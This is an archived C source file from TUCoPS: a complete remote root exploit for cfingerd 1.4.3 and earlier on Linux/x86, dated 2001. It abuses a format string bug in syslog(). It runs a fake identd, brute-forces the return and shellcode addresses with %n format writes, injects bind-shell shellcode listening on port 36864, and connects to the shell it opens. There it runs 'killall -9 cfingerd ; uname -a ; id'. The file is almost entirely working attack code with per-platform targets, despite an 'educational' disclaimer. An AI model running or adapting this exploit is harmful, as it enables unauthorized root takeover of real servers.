TUCoPS :: Linux :: Apps A-M :: rdc-cf~1.c



/* remote exploit for linux/x86 - cfingerd <= 1.4.3
 * coded by venomous of rdC - 16/apr/01
 *
 * Its just a common formatstring bug using syslog() incorrectly.
 * We need to bind as identd, so disable your identd in case you are
 * using it.
 *
 * BONUS: eip address is bruteforced, so relax and wait =)
 *
 * NOTE: for sure where we control the format string will change from
 * platform to platform.
 * And for sure, the shellcode address will change so maybe you
 * want to bruteforce this too. (-1500 to +1500 should be fine i guess)
 *
 * REMEMBER: this code is for educational propourses only, do not use
 * it on machines without authorization.
 *
 * INFO: cfingerd isnt a package of slackware 7.0
 * cfingerd 1.4.1 is a package of debian 2.2
 *
 * Greets: ka0z, bruj0, dn0, superluck, fugitivo(!)
 * #flatline, #rdC
 *
 * Credits: To Lez, who found this bug.
 *
 * http://www.rdcrew.com.ar - Argentinian Security Group.
 * venomous@rdcrew.com.ar
 */
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define ROOTSHELLPORT 36864
void chld_timeo();
void chld_timeoo();
int sserver;
int cserver;
int phase=0;
int mmm=0;
unsigned long glob;
//unsigned long startaddr = 0xbffffdfc;
unsigned long startaddr = 0xbffffb34;
unsigned long stopaddr = 0xbffff000;
char pbuf[1024];
char testcode[]=
 "\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe";
char linuxcode[]=
 /* Lamagra bind shellcode modified by me, making it smaller =) - 124b */
 "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
 "\x40\x89\xc3\x89\x46\x0c\x40\x89"
 "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
 "\x80\x43\xc6\x46\x10\x10\x88\x46"
 "\x08\x31\xc0\x31\xd2\x89\x46\x18"
 "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
 "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
 "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
 "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
 "\x56\x10\xb0\x66\x43\xcd\x80\x86"
 "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
 "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
 "\x80\x88\x56\x07\x89\x76\x0c\x87"
 "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
 "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
 "\x6e\x2f\x73\x68";
struct os
{
 int id;
 char *os;
 char *shellcode;
 int fsc;
 unsigned long shaddr;
 int offset;
};
struct os types[]=
{
 {0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root", linuxcode, 22, 0xbffffbc4, 30},
 {1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody", linuxcode, 22, 0xbffffbc4, 30},
 {2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33, 0xbffffb48, 0},
 {3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33, 0xbffffb48, 0},
 {4, NULL, 0, 0xdeadbeef, 0}
};
main(int argc, char *argv[])
{
 struct sockaddr_in sin;
 struct sockaddr_in ssin;
 int fd;
 int x;
 int xx=0;
 int sts=0;
 int pete;
 int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on */
 int guide=1; /* your system, starting from 22, change it if you */
 int sel=0; /* want. */
 int bleh=0; /* */
 int off=0;
 int arx=0;
 int niu=0;
 int ye=0;
 char buf[1024];
 char tex[512];
 if (argc < 4)
 {
 printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n");
 printf("Usage: %s <platform> <host> <offset>\n",argv[0]);
 printf("where <platform> is:\n");
 for (x=0 ; types[x].os != NULL ; x++)
 printf("%d for %s\n", types[x].id, types[x].os);
 printf("\nhttp://www.rdcrew.com.ar\n\n");
 exit(1);
 }
 for (x=0 ; types[x].os != NULL ; x++)
 {
 if (types[x].id == atoi(argv[1]) )
 {
 xx++;
 sel = types[x].id;
 }
 }
 if (!xx)
 {
 printf("Unknown platform: %s\n",argv[1]);
 exit(1);
 }
 off = atoi(argv[3]);
 printf("Selected platform: %s (%d)\n",types[sel].os,sel);
 bzero(&sin,sizeof(sin));
 // fake identd
 sin.sin_family = AF_INET;
 sin.sin_port = htons(113);
 sin.sin_addr.s_addr = htonl(INADDR_ANY);
 if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 {
 perror("socket");
 exit(1);
 }
 if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0))
 {
 perror("bind");
 exit(1);
 }
 if ( (xx = listen(fd, 5)) < 0)
 {
 perror("listen");
 exit(1);
 }
 printf("fake identd bound successfuly\n\n");
 printf("pre-phase info: If you need to use the offset you can use safely steps of 120\n\n");
 printf("phase 0: finding eip... \n");
 while (guide)
 {
 //maybe you need it..
 // if (!d)
 // {
 preparebuf(sel, off, ye);
 fconnect(argv[2], ye, 79);
 // }
 pete = sizeof(ssin);
 if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0)
 {
 perror("accept");
 exit(1);
 }
 bzero(buf,sizeof(buf));
 read(sserver,buf,sizeof(buf));
 //horrendus debug! :)
#ifdef DEBUG
 printf("\nread(): %s\n",buf);
#endif
 sscanf(buf,"%d,%d",&a,&b);
 bzero(buf,sizeof(buf));
 bzero(tex,sizeof(tex));
 memset(tex,'\x90',119);
 bleh=strlen(pbuf);
 niu = 0;
 while (1)
 {
 if(strlen(pbuf) < 65)
 {
 if (phase==0)
 pbuf[bleh] = '\x90';
 else
 pbuf[bleh] = types[sel].shellcode[niu];
 bleh++;
 if (phase==1)
 niu++;
 }
 else
 break;
 }
 arx = niu;
 if(!phase)
 for(bleh=0 ; bleh < strlen(testcode) ; bleh++)
 tex[119 - strlen(testcode) + bleh] = testcode[bleh];
 else
 {
 if ((119 - (strlen(types[sel].shellcode) - arx)) < 0)
 {
 printf("shellcode too long, exiting\n");
 exit(0);
 }
 for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ; bleh++)
 tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] = types[sel].shellcode[bleh+arx];
 }
 snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf);
 /* usefull for find the fsc on your system.
 //snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc:%d\n",a,b,c,c);
 // read about 'd' below
 if (d==2) { c++; d=0; }
 */
 write(sserver,buf,sizeof(buf));
 //the same..
#ifdef DEBUG
 printf("sent: %s\n--------------------\n",buf);
#endif
 close(sserver);
 sleep(2);
 //same..
 // if(d)
 wait(&sts);
 // d++;
 /* if something like tcplogd is running there will be 3 connections
 * to identd, so in that case, d==3
 */
 //if(d==2)
 // d=0;
 if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0)
 {
 phase=1; ye=1; sts=0;
 printf("\nphase 1: calculating address of the first chacarcter in our buffer... wait\n");
 }
 if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1)
 {
 printf("\nphase 2 connecting to rootshell... ");
 fflush(stdout);
 close(fd); //identd fake server
 fconnect(argv[2], 2, ROOTSHELLPORT);
 printf("\n\nThanks for using rdC products!\n\n");
 exit(0);
 }
 }
}
int fconnect(char *hname, int what, int port)
{
 struct hostent *host;
 struct sockaddr_in d;
 int r;
 char hname2[128];
 char response[1024];
 d.sin_family = AF_INET;
 d.sin_port = htons(port);
 bzero(hname2,sizeof(hname2));
 strncpy(hname2,hname,sizeof(hname2));
 host = gethostbyname(hname2);
 if (!host)
 {
 printf("cannot resolve\n");
 exit(0);
 }
 bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length);
 cserver = socket(AF_INET, SOCK_STREAM, 0);
 // you can add a timeout here, but supossly you know if the server
 // is up/not firewalled, because you are using it against an authorized
 // machine and not in a script/not authorized machine, right?
 if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0)
 {
 perror("connect");
 exit(1);
 }
 if (what==2)
 {
 printf("connected!\n");
 fflush(stdout);
 rootsox(cserver);
 close(cserver);
 return;
 }
 write(cserver,"a\n",strlen("a\n"));
 if ((fork()) == 0)
 {
 printf("Waiting response...");
 for(r=0 ; r < 19 ; r++)
 printf("\b");
 fflush(stdout);
 bzero(response,sizeof(response));
 if (what==0)
 signal(SIGALRM, chld_timeo);
 else
 signal(SIGALRM, chld_timeoo);
 alarm(30);
 read(cserver,response,sizeof(response));
 if (strstr(response,"SIGILL"))
 {
 printf("Illegal Instruction\r");
 fflush(stdout);
 close(cserver);
 exit(0);
 }
 if (strstr(response,"SIGSEGV"))
 {
 printf("Segmentation Fault.\r");
 fflush(stdout);
 close(cserver);
 exit(0);
 }
 //you might add strings here..
 if (strstr(response,"Sorry, that user doesn't exist") || strstr(response,"Debian GNU/Linux"))
 {
 printf("server not crashed.\r");
 fflush(stdout);
 close(cserver);
 exit(0);
 }
 }
 //close(cserver);
}
/* <huh> */
void chld_timeo()
{
 alarm(0);
 signal(SIGALRM, SIG_DFL);
 printf("EIP FOUND! - SHELLCODE ADDR OK!\n");
 fflush(stdout);
 close(cserver);
 exit(1);
}
void chld_timeoo()
{
 alarm(0);
 signal(SIGALRM, SIG_DFL);
 printf("shellcode executed!\n");
 fflush(stdout);
 close(cserver);
 exit(2);
}
/* </huh> */
int rootsox(int sox)
{
 fd_set rset;
 int n;
 char buffer[4096];
 /* we kill the cfingerd in eternal loop and we run other nice commands ;)
 */
 char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n";
 send(sox, command, strlen(command), 0);
 for (;;) {
 FD_ZERO (&rset);
 FD_SET (sox, &rset);
 FD_SET (STDIN_FILENO, &rset);
 n = select(sox + 1, &rset, NULL, NULL, NULL);
 if(n <= 0)
 return (-1);
 if(FD_ISSET (sox, &rset)) {
 n = recv (sox, buffer, sizeof (buffer), 0);
 if (n <= 0)
 break;
 write (STDOUT_FILENO, buffer, n);
 }
 if(FD_ISSET (STDIN_FILENO, &rset)) {
 n = read (STDIN_FILENO, buffer, sizeof (buffer));
 if (n <= 0)
 break;
 send(sox, buffer, n, 0);
 }
 }
 return 0;
}
//heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00
preparebuf(int sel, int off, int what)
{
 unsigned long addr;
 unsigned long a, b, c, d;
 int pas1,pas2,pas3,pas4;
 int i;
 char temp[512];
 char buf[512];
 char atemp[128];
 char bufx[512];
 startaddr = startaddr - 0x4;
 addr = startaddr;
 bzero(temp,sizeof(temp));
 bzero(buf,sizeof(buf));
 bzero(bufx,sizeof(bufx));
 bzero(atemp,sizeof(atemp));
 if (addr == stopaddr)
 {
 printf("\nreached stopaddr, change shellcode address/fsc\n");
 exit(1);
 }
 if(what)
 {
 off-=mmm;
 mmm++;
 }
 if (mmm == 185)
 {
 printf("?!.. we cant find the first character of our shellcode!#@\n");
 exit(0);
 }
 snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);
 sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);
 pas1 = d - (16 * 2);
 pas1 = cn(pas1);
 pas2 = c - d;
 pas2 = cn(pas2);
 pas3 = b - c;
 pas3 = cn(pas3);
 pas4 = a - b;
 pas4 = cn(pas4);
 if(what)
 addr = glob;
 else
 glob = addr;
 printf("eip: %p - shellcode addr: %p - ",addr,types[sel].shaddr+types[sel].offset+off);
 fflush(stdout);
 for (i=0 ; i < 4 ; i++)
 {
 snprintf(atemp,sizeof(atemp),"%s",&addr);
 strncat(buf, atemp, 4);
 addr++;
 }
 snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);
 strcat(buf,bufx);
 bzero(pbuf,sizeof(pbuf));
 strncpy(pbuf,buf,sizeof(pbuf));
}
cn(unsigned long addr)
{
 char he[128];
 snprintf(he,sizeof(he),"%d",addr);
 if (atoi(he) < 8)
 addr = addr + 256;
 return addr;
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH

AltStyle によって変換されたページ (->オリジナル) /